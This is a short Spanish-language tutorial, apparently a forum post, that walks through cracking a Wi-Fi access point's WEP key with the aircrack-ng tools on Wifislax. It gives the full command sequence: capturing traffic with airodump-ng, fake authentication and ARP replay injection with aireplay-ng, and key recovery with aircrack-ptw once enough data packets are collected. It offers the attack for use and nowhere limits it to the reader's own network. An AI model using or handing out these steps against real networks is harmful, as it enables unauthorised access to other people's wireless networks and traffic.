Wep cracking tutorial

Recargar el driver desde el menu de Wifislax

Se necesita apuntar el BSSID, ESSID y canal del AP,  ya que se requeriran despues

Código:
airodump-ng rausb0

Una vez aparezcan los datos, pulsamos CTRL+C (para parar el proceso)

Código:
airodump-ng -c CANAL DEL AP -w DATOS rausb0

Código:
ifconfig

Cogemos la MAC de tu tarjeta. Los 12 primeros numeros de HWaddr cambiamos los " - " por " : " (guiones por dos puntos)

Ejemplo: 12-58-47-FD-AD-8F-00-00-00-00 se cambia por 12:58:47:FD:AD:8F

Código:
aireplay-ng -1 0 -a BSSID -h tu MAC -e ESSID rausb0

También podeis poner

Código:
aireplay-ng -1 10 -a BSSID -h tu MAC -e ESSID rausb0

de esta manera se asocia automáticamente cada 10 segundos para aquellos que pillais alguna ARP y luego no suben.

Una vez autentificados :) abrimos otra consola y ponemos

Código:
aireplay-ng -3 -b BSSID -h tu MAC rausb0

Esperamos un rato como mucho 15 minutos y veréis como suben los ARP.

Si os pilla alguna ARP pero no sube iros a la consola que tiene el AP1

Código:
aireplay-ng -1 0 -a BSSID -h tu MAC -e ESSID rausb0

Y lo ejecutáis de nuevo hasta que os autentifique o se os suban los ARP.

Si no autentifica fijaros que el RXQ (airodump-ng) se mantenga por encima del 50% de no ser así los DATA no subirán rápido, normalmente es debido a que el ARP se encuentra demasiado lejos.

Por ultimo cuando tengamos mas de 100.000 DATA en airodump-ng ejecutamos en otra consola.


Código:
aircrack-ptw DATOS-01.cap

No es necesario parar los procesos para buscar la clave, puede seguir subiendo DATA por si acaso no encuentra la clave WEP y volver a intentarlo más adelante por ejemplo con 150.000 DATA

Al cabo de un rato (un minuto como máximo) os saldrá KEY FOUND con la clave wep.